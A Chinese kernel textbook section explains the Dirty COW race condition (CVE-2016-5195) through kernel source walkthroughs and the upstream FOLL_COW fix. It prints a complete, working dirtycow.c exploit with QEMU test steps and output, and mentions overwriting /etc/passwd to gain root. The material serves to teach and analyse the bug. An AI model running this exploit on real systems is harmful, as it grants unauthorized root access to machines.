2.21 2016 年最火的内存管理 bug

2016 年 10 月[①]发现一个存在了将近有十年之久的非常严重的安全漏洞，该漏洞可以让低权限的用户利用内存写时复制机制的缺陷来提升自己的系统权限，从而获取 root 权限，这样黑客可以利用该漏洞入侵服务器，现在大部分的服务器都跑着 linux 系统。这个漏洞被称为 Dirty COW，代号为 CVE-2016-5195。Linux 内核社区在 10 月 18 日紧急修复了这个历史久远的 bug[②]，各大发型版 Linux 发布紧急更新公告，要求大家赶紧更新。这个 bug 影响的内核版本从 Linux-2.6.22 到 Linux4.8，Linux-2.6.22 是 2007 年发布的。

图 2.x DirtyCOW 的 logo

[dirtycow.c]

```
0 #include <stdio.h>
1 #include <sys/mman.h>
2 #include <fcntl.h>
3 #include <pthread.h>
4 #include <unistd.h>
5 #include <sys/stat.h>
6 #include <string.h>
7
8 void *map;
9 int f;
10struct stat st;
11char *name;
12
13void *madviseThread(void *arg)
14{
15  char *str;
16  str=(char*)arg;
17  int i,c=0;
18  for(i=0;i<10000;i++)
19  {
20    c+=madvise(map,100,MADV_DONTNEED);
21  }
22  printf("madvise %d\n\n",c);
```

① Linux 安全专家 Phil Oester. https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails

②https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619

```
23}
24
25void *procselfmemThread(void *arg)
26{
27  char *str;
28  str=(char*)arg;
29  int f=open("/proc/self/mem",O_RDWR);
30  int i,c=0;
31  for(i=0;i<10000;i++) {
32    lseek(f,map,SEEK_SET);
33    c+=write(f,str,strlen(str));
34  }
35  printf("procselfmem %d\n\n", c);
36}
37
38
39int main(int argc,char *argv[])
40{
41  if (argc<3)return 1;
42  pthread_t pth1,pth2;
43  f=open(argv[1],O_RDONLY);
44  fstat(f,&st);
45  name=argv[1];
46
47  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
48  printf("mmap %x\n\n",map);
49  pthread_create(&pth1,NULL,madviseThread,argv[1]);
50  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
51
52  pthread_join(pth1,NULL);
53  pthread_join(pth2,NULL);
54  return 0;
55}
```

大家可以在 qemu 中的 vexpress 平台上测试。

```
1  编译
#arm-none-abi-gcc dirtycow.c -o dirtycow -static -lpthread   <=编译
#cp dirtycow linux-4.0/_install
#make bootimage
#make dtbs

2 运行 qemu
# qemu-system-arm -M vexpress-a9 -smp 2 -m 1024M -kernel
arch/arm/boot/zImage  -append "rdinit=/linuxrc console=ttyAMA0 loglevel=8"
-dtb arch/arm/boot/dts/vexpress-v2p-ca9.dtb -nographic

3 在 qemu 里测试
#echo “this is a dirtycow test case” > foo    <= 创建一个文件写入一个字符串
#chmod 0404 foo                    <= 修改该文件属性为只读
# ./dirtycow foo m0000000000      <= 运行 dirtycow 程序，尝试去修改 foo 只读文件
mmap b6f85000
madvise 0
procselfmem: 110000

/ # cat foo           <=程序执行完毕，查看 foo 文件，发现的确被改写！！！
m0000000000irtycow test case
/ #
```


从上面的实验结果来看 dirtycow 程序成功了写入了一个只读文件，这个比每年的春节晚会的魔术表演还精彩不是吗？同样的道理，黑客可以利用这个漏洞，把/etc/passwd 文件修改了就可以获得 root 权限了，这太可怕了你知道吗？

Dirtycow 程序首先打开以只读的方式打开一个文件，然后使用 mmap 来创建映射这个文件的内容到用户空间，这里使用 MAP_PRIVATE 映射属性映射成一个进程私用的映射，这样 mmap 创建的 VMA 的属性就是私有并且只读的，设置了 VM_READ，并没有设置 VM_SHARED。VMA 的 flags 里面只有 VM_SHARED 标志位，没有 PRIVATE 标志位，因此没设置 VM_SHARED 就表示这个 VMA 是私有的。Mmap 系统调用映射文件在内核空间的页面是 page cache。主程序创建了两个线程“madviseThread”和“procselfmemThread”。

我们先看 procselfmemThread 线程。打开/proc/self/mem 这个文件，lseek 定位到刚才 mmap 映射的空间然后不断的写入字符串“m0000000000”。读写/proc/self/mem 这文件，在内核中的实现是在 fs/proc/base.c 文件中。

```
static const struct pid_entry tgid_base_stuff[] = {
…
REG("mem",       S_IRUSR|S_IWUSR, proc_mem_operations),
…
}

static const struct file_operations proc_mem_operations = {
    .llseek     = mem_lseek,
    .read       = mem_read,
    .write      = mem_write,
    .open       = mem_open,
    .release    = mem_release,
};
```

mem_write()函数主要是调用 access_remote_vm()来实现访问用户进程的进程地址空间。

```
[mem_write()->__access_remote_vm()]

0 static int __access_remote_vm(struct task_struct *tsk, struct mm_struct
*mm,
1       unsigned long addr, void *buf, int len, int write)
2 {
3   down_read(&mm->mmap_sem);
4   while (len) {
5       int bytes, ret, offset;
6       void *maddr;
7       struct page *page = NULL;
8
9       ret = get_user_pages(tsk, mm, addr, 1,
10              write, 1, &page, &vma);
11      if (ret <= 0) {
12          ...
13      } else {
14          maddr = kmap(page);
15          if (write) {
16              copy_to_user_page();
17              set_page_dirty_lock(page);
18          } else {
19              copy_from_user_page();
20          }
21          kunmap(page);
22          page_cache_release(page);
23      }
24  }
25  up_read(&mm->mmap_sem);
26  return buf - old_buf;
27}
```

知道进程的 mm 数据结构、虚拟地址 addr 然后获取对应的物理页面的内容，内核提供了这样一个 API 函数：get_user_pages()。这里传递给 get_user_pages 的参数是 write=1 和 force=1 以及 page 指针，在后续的调用函数中会转换成 FOLL_WRITE | FOLL_FORCE | FOLL_GET 标志位。

```
[mem_write()->__access_remote_vm()->__get_user_pages()]

0 long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
1       unsigned long start, unsigned long nr_pages,
2       unsigned int gup_flags, struct page **pages,
3       struct vm_area_struct **vmas, int *nonblocking)
4 {
5       ...
6 retry:
7       page = follow_page_mask(vma, start, foll_flags, &page_mask);
8       if (!page) {
9           int ret;
10          ret = faultin_page(tsk, vma, start, &foll_flags,
11                  nonblocking);
12          switch (ret) {
13          case 0:
14              goto retry;
15          case -EFAULT:
16          case -ENOMEM:
17          case -EHWPOISON:
18              return i ? i : ret;
19          case -EBUSY:
20              return i;
21          case -ENOENT:
22              goto next_page;
23          }
24          BUG();
25      }
26      if (pages) {
27          pages[i] = page;
28      }
29next_page:
30      ...
31  return i;
32}
```

我们从第一次写开始考虑。第一次写的时候因为用户空间那段内存（map 指针指向的内存）起始还没有和实际的物理页面建立映射关系，所以 follow_page_mask()函数是不可能返回正确的 page 结构的。

```
[__get_user_pages()->follow_page_mask()->follow_page_pte()]

0 static struct page *follow_page_pte(struct vm_area_struct *vma,
1       unsigned long address, pmd_t *pmd, unsigned int flags)
2 {
3   struct mm_struct *mm = vma->vm_mm;
4   struct page *page;
5   spinlock_t *ptl;
6   pte_t *ptep, pte;
7
8 retry:
9   ptep = pte_offset_map_lock(mm, pmd, address, &ptl);
10  pte = *ptep;
11  if (!pte_present(pte)) {
12      ...
13      if (pte_none(pte))
14          goto no_page;
```

```
15        ...
16    }
17
18    if ((flags & FOLL_WRITE) && !pte_write(pte)) {
19        pte_unmap_unlock(ptep, ptl);
20        return NULL;
21    }
22
23    page = vm_normal_page(vma, address, pte);
24    。。。
25    return page;
26
27no_page:
28    pte_unmap_unlock(ptep, ptl);
29    if (!pte_none(pte))
30        return NULL;
31    return no_page_table(vma, flags);
32}
```

因此从 follow_page_pte()函数可以看到第一次写的时候因为没建立映射关系，pte 页表中的 L_PTE_PRESENT 比特位为 0，并且 pte 也不是有效的页表项（pte_none(pte)），follow_page_mask()返回空指针了。

回到__get_user_pages()函数，follow_page_mask()没找到合适的 page 结构，说明该虚拟地址对应的物理页面还建立映射关系，那么调用 faultin_page()主动触发一个缺页中断来建立这个关系。传递的参数包括：当前的 VMA、当前的虚拟地址、foll_flags 为 FOLL_WRITE | FOLL_FORCE | FOLL_GET、blocking=0。

[__get_user_pages()->faultin_page()]

```
0 static int faultin_page(struct task_struct *tsk, struct vm_area_struct
*vma,
1        unsigned long address, unsigned int *flags, int *nonblocking)
2 {
3    struct mm_struct *mm = vma->vm_mm;
4    unsigned int fault_flags = 0;
5    int ret;
6    ...
7    if (*flags & FOLL_WRITE)
8        fault_flags |= FAULT_FLAG_WRITE;
9
10   ret = handle_mm_fault(mm, vma, address, fault_flags);
11   ...
12   /*
13    * The VM_FAULT_WRITE bit tells us that do_wp_page has broken COW when
14    * necessary, even if maybe_mkwrite decided not to set pte_write. We
15    * can thus safely do subsequent page lookups as if they were reads.
16    * But only do so when looping for pte_write is futile: in some cases
17    * userspace may also be wanting to write to the gotten user page,
18    * which a read fault here might prevent (a readonly page might get
19    * reCOWed by userspace write).
20    */
21   if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
22       *flags &= ~FOLL_WRITE;
23   return 0;
24}
```

faultin_page()函数人为的造一个写错误的缺页中断（FAULT_FLAG_WRITE），我们直接看 pte 的处理情况。

[__get_user_pages()->faultin_page()->handle_mm_fault()->handle_pte_fault()]

```
0 static int handle_pte_fault(struct mm_struct *mm,
1           struct vm_area_struct *vma, unsigned long address,
2           pte_t *pte, pmd_t *pmd, unsigned int flags)
3 {
4   pte_t entry;
5   spinlock_t *ptl;
6   entry = *pte;
7   ...
8   if (!pte_present(entry)) {
9       if (pte_none(entry)) {
10          if (vma->vm_ops) {
11              if (likely(vma->vm_ops->fault))
12                  return do_fault(mm, vma, address, pte,
13                          pmd, flags, entry);
14          }
15          return do_anonymous_page(mm, vma, address,
16                      pte, pmd, flags);
17      }
18      return do_swap_page(mm, vma, address,
19                  pte, pmd, flags, entry);
20  }
21  ...
22  ptl = pte_lockptr(mm, pmd);
23  spin_lock(ptl);
24  if (flags & FAULT_FLAG_WRITE) {
25      if (!pte_write(entry))
26          return do_wp_page(mm, vma, address,
27                  pte, pmd, ptl, entry);
28  }
29  ...
30  pte_unmap_unlock(pte, ptl);
31  return 0;
32}
```

正如我们之前分析这个 pte entry 的情况，PRESENT 位没置位并且 pte 不是有效的 pte，另外我们访问的 page cache，它有定义 vma->vm_ops 以及 fault 函数，因此根据 handle_pte_fault()函数的判断逻辑，它会调到 do_fault()里。

[__get_user_pages()->faultin_page()->handle_mm_fault()->handle_pte_fault()->do_fault()]

```
0 static int do_fault(struct mm_struct *mm, struct vm_area_struct *vma,
1       unsigned long address, pte_t *page_table, pmd_t *pmd,
2       unsigned int flags, pte_t orig_pte)
3 {
4   pgoff_t pgoff = (((address & PAGE_MASK)
5           - vma->vm_start) >> PAGE_SHIFT) + vma->vm_pgoff;
6
7   pte_unmap(page_table);
8   if (!(flags & FAULT_FLAG_WRITE))
9       return do_read_fault(mm, vma, address, pmd, pgoff, flags,
10              orig_pte);
11  if (!(vma->vm_flags & VM_SHARED))
12      return do_cow_fault(mm, vma, address, pmd, pgoff, flags,
13              orig_pte);
14  return do_shared_fault(mm, vma, address, pmd, pgoff, flags, orig_pte);
15}
```

do_fault 里面有两个重要的判断条件，一个是 FAULT_FLAG_WRITE，另外一个是 VM_SHARED。我们的场景里是触发了一个写错误的缺页中断，该页对应的 VMA 是私有映射

即 vma 的属性 vma->vm_flags 没设置 VM_SHARED，见 dirtycow 程序中使用 MAP_PRIVATE 的映射属性，因此跳转到 do_cow_fault 函数中。

```
[__get_user_pages()->faultin_page()->handle_mm_fault()->handle_pte_fault()->do_fault()->do_cow_fault()]

0 static int do_cow_fault(struct mm_struct *mm, struct vm_area_struct
*vma,
1       unsigned long address, pmd_t *pmd,
2       pgoff_t pgoff, unsigned int flags, pte_t orig_pte)
3 {
4   struct page *fault_page, *new_page;
5   pte_t *pte;
6   int ret;
7   ...
8   new_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, address);
9   if (!new_page)
10      return VM_FAULT_OOM;
11
12  ret = __do_fault(vma, address, pgoff, flags, new_page, &fault_page);
13
14  if (fault_page)
15      copy_user_highpage(new_page, fault_page, address, vma);
16  __SetPageUptodate(new_page);
17  ...
18  do_set_pte(vma, address, new_page, pte, true, true);
19  if (fault_page) {
20      unlock_page(fault_page);
21      page_cache_release(fault_page);
22  }
23  ...
24  return ret;
25}
```

do_cow_fault()会重新分配一个新的页面 new_page，并且调用__do_fault 函数通过文件系统相关的 API 把 page cache 读到 fault_page 中，然后把文件内容拷贝到新页面 new_page 中，do_set_pte 会使用新页面和虚拟地址重新建立映射关系。最后把 fault_page 释放了。注意这里 fault_page 是 page cache，new_page 可是匿名页面了。

```
0 void do_set_pte(struct vm_area_struct *vma, unsigned long address,
1       struct page *page, pte_t *pte, bool write, bool anon)
2 {
3   pte_t entry;
4
5   flush_icache_page(vma, page);
6   entry = mk_pte(page, vma->vm_page_prot);
7   if (write)
8       entry = maybe_mkwrite(pte_mkdirty(entry), vma);
9   if (anon) {
10      inc_mm_counter_fast(vma->vm_mm, MM_ANONPAGES);
11      page_add_new_anon_rmap(page, vma, address);
12  }
13  set_pte_at(vma->vm_mm, address, pte, entry);
14  update_mmu_cache(vma, address, pte);
15}
```

do_set_pte()首先使用刚才新分配的页面和 vma 的相关属性来生成一个页表项 pte entry，第 7~8 行，我们因为是写错误的缺页中断，所以这里 write 为 1，页面为脏，所以设置 pte 的 dirty 位。这里 maybe_mkwrite()函数名称有意思，为什么叫 maybe，pte 的 write 比特位为什么这里是模棱两可呢？其实这里有大奥秘。

```
[include/linux/mm.h]

static inline pte_t maybe_mkwrite(pte_t pte, struct vm_area_struct *vma)
{
    if (likely(vma->vm_flags & VM_WRITE))
        pte = pte_mkwrite(pte);
    return pte;
}
```

pte entry 中的 WRITE 比特位是否需要置位还需要考虑 VMA 中的 vm_flags 属性中的是否具有可写的，如果有才能设置 pte entry 中的 WRITE 比特位。我们这里的场景是 mmap 通过只读方式（PROT_READ）映射一个文件，vma->vm_flags 中没设置 VM_WRITE。因此新页面 new_page 和虚拟地址建立的新的 pte entry 是：dirty 的并且只读的。

从 do_cow_fault()到 faultin_page()函数一直返回 0，回到__get_user_pages()函数片段中第 6~25 行，这里会跳转到 retry 标签处，继续调用 follow_page_mask()函数去获取 page 结构。注意这时候传递给该函数的参数 foll_flags 依然没有变化，即 FOLL_WRITE | FOLL_FORCE | FOLL_GET。该 pte entry 的属性是：PRESENT 位置位了，Dirty 位置位，RDONLY 只读位置位了，因此在 follow_page_pte 函数中，当判断到传递进来的 flags 要求是可写的，但是实际 pte entry 只是可读属性，那么这里就不会返回正确的 page 结构了，见 follow_page_pte 函数中的 (flags & FOLL_WRITE) && !pte_write(pte)。

从 follow_page_pte()返回为 NULL，这时候又要来一次人造的缺页中断了 faultin_page。这时依然是写错误的缺页中断。

因为这是 pte entry 的状态：PRESENT =1、DIRTY=1、RDONLY=1，在加上写错误异常，因此在 handle_pte_fault 函数的判断逻辑是跳转到 do_wp_page 函数。do_wp_page 函数代码片段如下：

```
0 static int do_wp_page(struct mm_struct *mm, struct vm_area_struct *vma,
1       unsigned long address, pte_t *page_table, pmd_t *pmd,
2       spinlock_t *ptl, pte_t orig_pte)
3   __releases(ptl)
4 {
5   struct page *old_page, *new_page = NULL;
6   pte_t entry;
7   int ret = 0;
8
9   old_page = vm_normal_page(vma, address, orig_pte);
10
11  if (PageAnon(old_page) && !PageKsm(old_page)) {
12      if (!trylock_page(old_page)) {
13      ...
14      }
15      if (reuse_swap_page(old_page)) {
16          unlock_page(old_page);
17          goto reuse;
18      }
19      unlock_page(old_page);
20  } else if (unlikely((vma->vm_flags & (VM_WRITE|VM_SHARED)) ==
21                  (VM_WRITE|VM_SHARED))) {
22                  ...
23reuse:
24       ...
25      entry = pte_mkyoung(orig_pte);
26      entry = maybe_mkwrite(pte_mkdirty(entry), vma);
```

```
27      ret |= VM_FAULT_WRITE;
28      return ret;
29  }
30
31gotten:
32    ...
33}
```

这时传递到 do_wp_page 函数的页面是匿名页面并且是可以重用的页面（reuse），因此跳转到 reuse 标签页中。这里依然调用 maybe_mkwrite()尝试置位 pte entry 中 WRITE 比特位，但是因为我们这个 vma 是只读映射的，因此这个尝试没法得逞。pte entry 依然是 RDONLY 和 DIRTY 的。注意这里返回的值是 VM_FAULT_WRITE，这个是 2016 年最牛的内存漏洞的关键所在。

回到 faultin_page()函数中，因为 handle_mm_fault()返回了 VM_FAULT_WRITE。

```
0 static int faultin_page(struct task_struct *tsk, struct vm_area_struct
*vma,
1       unsigned long address, unsigned int *flags, int *nonblocking)
2 {
3   ...
4   ret = handle_mm_fault(mm, vma, address, fault_flags);
5    ...
6   /*
7    * The VM_FAULT_WRITE bit tells us that do_wp_page has broken COW when
8    * necessary, even if maybe_mkwrite decided not to set pte_write. We
9    * can thus safely do subsequent page lookups as if they were reads.
10   * But only do so when looping for pte_write is futile: in some cases
11   * userspace may also be wanting to write to the gotten user page,
12   * which a read fault here might prevent (a readonly page might get
13   * reCOWed by userspace write).
14   */
15  if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
16      *flags &= ~FOLL_WRITE;
17  return 0;
18}
```

这里第 15~16 行对返回 VM_FAULT_WRITE 并且 vma 是只读的情况，这里清除了 FOLL_WRITE 标记。返回 VM_FAULT_WRITE 表示 do_wp_page 已经完成了对写时复制的处理工作了，尽管有可能没有办法让 pte entry 设置成可写的，因为 VMA 相关的属性问题。因此在这之后可以安全的读该页的内容了[①]。这里是该漏洞的核心之处。

从 faultin_page 函数返回 0，又会跳转到__get_user_pages 函数中的 retry 标签处，因为刚刚 foll_flags 中的 FOLL_WRITE 被拿掉了，所以这时是只读的方式去调用 follow_page_mask()了。

正如武侠小说里写的一样，两大高手交锋正酣，说时迟那时快，就在调用 follow_page_mask()之前另外一个线程 madviseThread 像小李飞刀一样精准，madvise(dontneed)系统调用在内核中 zap_page_range()函数来解除该页的映射关系。

[①] 这个修改是 Linux-2.6.13 引入了。在 2005 年 Linus Torvalds 提了 Patch （ PATCH] fix get_user_pages bug ）来修复这个 dirty cow 问题，后来 Nick Piggin 修改 s390 处理器相关问题（ [PATCH] fix get_user_pages bug ）又回滚了这个问题。

回到 procselfmemThread 线程，这时正要通过 follow_page_mask()来获取该页的 page 结构。因为该页刚才给 madviseThread 线程给释放了，所以该页 pte entry 不是有效的 pte 并且 PRESENT 位没置位，所以 follow_page_mask()返回 NULL，那么这时候有要来一次缺页中断了，注意这次可不是写错误缺页中断了，因为 FOLL_WRITE 已经在之前被拿掉了，这回可是读错误的缺页中断了。

在 handle_pte_fault 函数中根据判断条件（该页的 pte entry 不是有效的、PRESENT 位没置位并且是读错误缺页中断的 page cache）跳转到 do_read_fault 函数读取该文件的内容了并且返回 0（注意这时候是读文件的内容，是 page cache 页面，刚才 madviseThread 线程释放的页面是处理 cow 缺页中断中产生的匿名页面），因此在__get_user_pages 函数中再做一次 retry 就可以正确的返回该页的 page 结构了。

回到__access_remote_vm()函数，get_user_pages()正确获取了该页的控制权，那么就可以往该页随性所欲写东西，然后把该页设置成 dirty 就行，系统的回写机制会把最终内容写入到这个只读的文件中，这样一个黑客过程就完成了。

下面留一个思考题：如果 dirtycow 程序没有 madviseThread 线程即只有 procselfmemThread 线程能不能修改 foo 文件的内容呢？

我们先看看社区是如何修复这个问题的，2016 年 10 月 18 日 Linus Torvalds 合并了一个 patch[①]修复了这个 bug。

```
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -2232,6 +2232,7 @@ static inline struct page *follow_page(struct
vm_area_struct *vma,
 #define FOLL_TRIED 0x800   /* a retry, previous pass started an IO */
 #define FOLL_MLOCK 0x1000  /* lock present pages */
 #define FOLL_REMOTE    0x2000  /* we are working on non-current tsk/mm */
+#define FOLL_COW   0x4000  /* internal GUP flag */

 typedef int (*pte_fn_t)(pte_t *pte, pgtable_t token, unsigned long addr,
             void *data);
diff --git a/mm/gup.c b/mm/gup.c
index 96b2b2f..22cc22e 100644
--- a/mm/gup.c
+++ b/mm/gup.c
@@ -60,6 +60,16 @@ static int follow_pfn_pte(struct vm_area_struct *vma,
unsigned long address,
     return -EEXIST;
 }

+/*
+ * FOLL_FORCE can write to even unwritable pte's, but only
+ * after we've gone through a COW cycle and they are dirty.
+ */
+static inline bool can_follow_write_pte(pte_t pte, unsigned int flags)
+{
+    return pte_write(pte) ||
+        ((flags & FOLL_FORCE) && (flags & FOLL_COW) && pte_dirty(pte));
+}
+
 static struct page *follow_page_pte(struct vm_area_struct *vma,
```


[①]https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619

```
         unsigned long address, pmd_t *pmd, unsigned int flags)
 {
@@ -95,7 +105,7 @@ retry:
     }
     if ((flags & FOLL_NUMA) && pte_protnone(pte))
         goto no_page;
-    if ((flags & FOLL_WRITE) && !pte_write(pte)) {
+    if ((flags & FOLL_WRITE) && !can_follow_write_pte(pte, flags)) {
         pte_unmap_unlock(ptep, ptl);
         return NULL;
     }
@@ -412,7 +422,7 @@ static int faultin_page(struct task_struct *tsk,
struct vm_area_struct *vma,
      * reCOWed by userspace write).
      */
     if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
-        *flags &= ~FOLL_WRITE;
+          *flags |= FOLL_COW;
     return 0;
 }
```

这个 patch 主要是重新定义了一个 flag 为 FOLL_COW 来标记该页是一个 COW 页面。在 faultin_page()函数中当 do_wp_page 对某个 COW 页处理之后返回 VM_FAULT_WRITE 并且该页对应的 vma 属性是不可写的情况，不再是拿掉 FOLL_WRITE 而且设置新的标记 FOLL_COW，表示我这个是 COW 页，因此可以避免上述的一些竞争关系。此外使用 pte 的 dirty 位来验证 FOLL_COW 的有效性。

我们现在在回头来思考刚才提出的一个问题：如果 dirtycow 程序没有 madviseThread 线程即只有 procselfmemThread 线程能不能修改 foo 文件的内容呢

我们先简单回忆一下这个过程：dirtycow 程序的目的是要写一个只读文件的内容（vma->flags 为只读属性），那么必然要先把这个文件的内容读出来，这个页是 page cache。但由于第一次去写，页不在内存中并且 pte entry 不是有效的，所以跑到了 do_cow_page()去处理写时复制 COW，这时候会把这个文件对应的内容读到 page cache 中，然后把 page cache 的内容复制到了一个新的匿名页面中。这个新匿名页面的 pte entry 属性是 Dirty | RDONLY。然后再去尝试 follow_page，不成功因为 FOLL_WRITE 和 pte entry 是 RDONLY，所以再去来一次写错误缺页中断。这回跑到 do_wp_page 函数里，该函数一看这个也是匿名页面并且可以复用，那么尝试修改 pte entry 的 write 属性不成功，因为 vma->flags 只读属性的紧箍咒还在呢。do_wp_page 函数返回 VM_FAULT_WRITE 了，在返回途中 faultin_page 把 FOLL_WRITE 给弄丢了，返回到 __get_user_pages 函数里要求再来一次 follow_page。在这次 follow_page 之前，小李飞刀 madviseThread 线程杀到，把该页给释放了，做了一次程咬金。那么 follow_page 必然失败了，这时再造一次缺页中断，注意这次是只读了，因为 FOLL_WRITE 之前被废了。这样缺页中断重新从文件中读取了 page cache 内容，并且获取了该 page cache 控制权，再往该 page cache 写东西，并且该页设置为 PG_dirty，系统回写机制稍后将完成最终写入了。

如果上述过程没有小李飞刀 madviseThread 线程杀到，那会是什么情况呢？那么在 do_wp_page 返回之后的做 follow_page 是成功了，因为没有程咬金来把该页释放，注意该页是处理 COW 产生的匿名页面并且是只读的，__get_user_pages 可以返回该页，然后 __access_remote_vm()里面使用 kmap 函数映射到内核空间的线性地址然后写入内容。刚才说了该页是只读的，为什么可以写入呢？这是因为这里使用 kmap 来映射该页，和用户空间映射的那个 pte 是不一样的，用户空间那个 pte 是只读属性。但是该页毕竟还是匿名页面，从匿名页面的宿命来看，要么被 swap 到磁盘要么被进程杀掉要么和进程同归于尽，所以它不

会最终写入到目标文件的。这就是为什么没有 madviseThread 线程向小李飞刀一样例无虚发的杀到，dirtycow 就成不了气候。